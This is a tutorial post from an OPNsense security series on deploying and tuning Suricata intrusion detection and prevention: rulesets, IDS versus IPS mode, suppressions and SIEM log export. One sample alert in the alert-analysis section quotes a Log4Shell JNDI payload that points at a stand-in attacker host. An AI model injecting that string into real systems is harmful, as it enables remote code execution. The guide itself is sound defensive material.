EN

Suricata IDS/IPS with OPNsense

Intrusion Detection and Deep Packet Inspection

OPNsense Security Stack Series — Part 7/8

Mars 2026 · botum.ca

Table of Contents

Full article: blog.botum.ca/opnsense-suricata-ids-ips-guide

1. CrowdSec vs Suricata: Two Complementary Approaches

Part 5 of the OPNsense Security Stack series covered CrowdSec — a collaborative cloud-based IDS/IPS that shares threat intelligence across thousands of deployments. Suricata plays a different but complementary role: it's a local network inspection engine that analyzes every packet in real time.

CrowdSec: blocks known malicious IPs using collective intelligence. Reactive, reputation-based. Highly effective against mass-scale attacks.

Suricata: performs Deep Packet Inspection (DPI) on network traffic. Detects exploits, stealthy scans, malware C2 communications — even from unknown IPs. Operates in IDS (alert) or IPS (blocking) mode.

Together they form a defense-in-depth: CrowdSec blocks what's known, Suricata detects what's behaviorally suspicious.

2. Installing the Suricata Plugin on OPNsense

Suricata installs directly from the OPNsense web interface via the plugin manager.

Prerequisites

• OPNsense 23.x or higher

• Minimum recommended RAM: 4 GB (8 GB for high-traffic environments)

• CPU with at least 2 dedicated cores

• OPNsense admin access

Installation Steps

1. Navigate to **System > Firmware > Plugins**
2. Search for "suricata" in the search bar
3. Click the + button next to **os-suricata**
4. Confirm installation — OPNsense downloads and installs the plugin
5. Refresh the page — a new **Services > Intrusion Detection** menu appears

The os-suricata plugin integrates Suricata 6.x or 7.x depending on your OPNsense version.

3. Configuring Interfaces to Monitor

Suricata can monitor multiple interfaces simultaneously. On my BOTUM infrastructure with the VLANs defined in Part 2, I monitor all active interfaces.

Basic Configuration

Navigate to **Services > Intrusion Detection > Administration**

• **Enabled:** check to activate Suricata

• **IPS mode:** leave unchecked to start in IDS-only mode

• **Promiscuous mode:** check to capture all interface traffic

• **Enable syslog alerts:** check to integrate with OPNsense logs

• **Pattern matcher:** Hyperscan (if available) or Aho-Corasick

Recommended Interfaces

```
# Interfaces to monitor on the BOTUM topology:
WAN → inbound Internet traffic (highest priority)
LAN → internal traffic (detects lateral movement)
OPT1/VLAN10 → Servers VLAN
OPT2/VLAN20 → IoT VLAN (untrusted devices)

# Do NOT monitor:
LO (loopback) → will generate false positives
VPN WireGuard → traffic is already encrypted/authenticated
```

4. Enabling and Managing Rulesets

Rulesets are collections of detection signatures. OPNsense/Suricata supports multiple official and community sources.

Download Tab — Rule Sources

Navigate to **Services > Intrusion Detection > Administration > Download**

Enable the following sources (click Enable on each):

• **ET Open (Emerging Threats)** — high-quality free rules, daily updates. Covers exploits, malware, C2, scans.

• **Abuse.ch URLhaus** — real-time malware distribution URLs.

• **Abuse.ch ThreatFox** — active malware IOCs (IPs, domains, hashes).

• **ET Pro Telemetry Edition** — free limited version of Proofpoint ET Pro rules.

• **OISF/Suricata Community** — community rules maintained by the Suricata team.

Don't enable all sources at once at first — start with ET Open + Abuse.ch URLhaus.

Updating Rules

```
# Manual update from the interface:
Services > Intrusion Detection > Administration > Download
Click "Update and reload rules"

# Automatic updates via OPNsense cron:
System > Settings > Cron
Add task: "Update and reload intrusion detection rules"
Recommended frequency: 1x/day (3:00 AM)
```

5. IDS Mode vs IPS Mode: Detection or Prevention

IDS Mode (Intrusion Detection System): Suricata analyzes traffic and generates alerts, but blocks nothing. Ideal for the initial phase — lets you observe false positives before blocking.

IPS Mode (Intrusion Prevention System): Suricata actively blocks packets matching 'drop' or 'reject' rules. Requires careful configuration to avoid blocking legitimate traffic.

Enabling IPS Mode

```
# Step 1: switch to IPS after 1-2 weeks of IDS tuning
Services > Intrusion Detection > Administration
IPS mode: check
Apply
```

```
# Step 2: review active rules in drop mode
Services > Intrusion Detection > Rules
Filter by Action = "drop"
Disable overly aggressive rules

# Step 3: monitor logs after activation
Services > Intrusion Detection > Alerts
Verify no legitimate traffic is being blocked
```

BOTUM recommendation: run in IDS mode for 14 days, analyze alerts, then switch to IPS.

6. Reducing False Positives: Tuning and Suppressions

False positives are inevitable at the start of deployment. Suricata may alert on legitimate traffic: Windows updates, certain CDNs, monitoring tools, etc.

Rule-Level Suppressions

```
# Disable a specific rule:
Services > Intrusion Detection > Rules
Search for the relevant SID (e.g., 2100498)
Click the rule > Action > Disable

# Example: disable an overly noisy rule
SID 2100498: GPL ATTACK_RESPONSE id check returned root
→ Often a false positive with monitoring scripts
```

IP-Based Suppressions (Whitelist)

```
# Add a suppression:
Services > Intrusion Detection > Administration
Suppressions tab
Add suppression:
- Type: source or destination
- IP: 192.168.10.0/24 (Servers VLAN)
- SID: leave empty to suppress all rules for this IP

# BOTUM practical example:
Suppress internal monitoring traffic:
Source IP = 192.168.10.50 (Uptime Kuma server)
Destination: any
→ Prevents false positives from health checks
```

7. Analyzing Alerts: Scans, Exploits, Malware C2

Suricata alerts provide rich context on detected threats. Here are typical examples of real alerts on an exposed infrastructure.

Example 1: Port Scan

```
Alert : ET SCAN Nmap Scripting Engine User-Agent Detect
SID : 2000545
```

```
Severity: Medium
Source : 185.220.101.42:54932
Dest : [WAN IP]:22
Proto : TCP
Action : Alert (IDS) or Drop (IPS)

→ Automated scan from a Tor node/proxy
→ Recommended: check if IP is also in CrowdSec blocklist
```

Example 2: Exploit Attempt

```
Alert : ET WEB_SERVER Possible CVE-2021-44228 Log4j RCE
SID : 2034647
Severity: Critical
Source : 45.33.32.156:80
Dest : 192.168.20.15:8080 (IoT server)
Proto : TCP/HTTP
Payload : ${jndi:ldap://evil.attacker.com/exploit}

→ Log4Shell injection attempt
→ Action: block immediately, isolate destination host
```

Example 3: Malware C2 Communication

```
Alert : ET MALWARE Cobalt Strike Beacon
SID : 2027865
Severity: High
Source : 192.168.30.25 (Guest VLAN)
Dest : 162.55.201.180:443
Proto : TCP/TLS

→ Guest machine attempting to contact a Cobalt Strike C2 server
→ Immediate action: isolate machine, analyze disk
```

8. Integration with OPNsense Logs

Suricata integrates natively with the OPNsense logging system and can forward alerts to external SIEM systems.

Local OPNsense Logs

```
# View Suricata alerts:
Services > Intrusion Detection > Alerts
→ Web interface with filtering by severity, IP, SID

# Raw logs on filesystem:
/var/log/suricata/eve.json ← structured JSON format (complete)
/var/log/suricata/fast.log ← quick text format
/var/log/suricata/stats.log ← performance statistics
```

Export to Graylog / Elastic Stack

```
# Configure syslog export to SIEM:
System > Settings > Logging
Remote syslog server: 192.168.10.100:514
```

```
Log everything: check

# eve.json format for Filebeat/Logstash:
input {
file {
path => "/var/log/suricata/eve.json"
codec => "json"
type => "suricata"
}
}
filter {
if [type] == "suricata" {
date { match => ["timestamp", "ISO8601"] }
}
}
```

9. Next Steps

Suricata is now in place and actively monitoring traffic. The DPI layer complements CrowdSec (Part 5) and 802.1X NAC (Part 6) to form a multi-layer network defense.

Part 8 of the series will cover **AdGuard Home** integrated with OPNsense: network-wide DNS filtering, ad and tracker blocking, custom lists, and centralized DNS statistics.

Full article: blog.botum.ca/opnsense-suricata-ids-ips-guide

Website: www.botum.ca • contact@botum.ca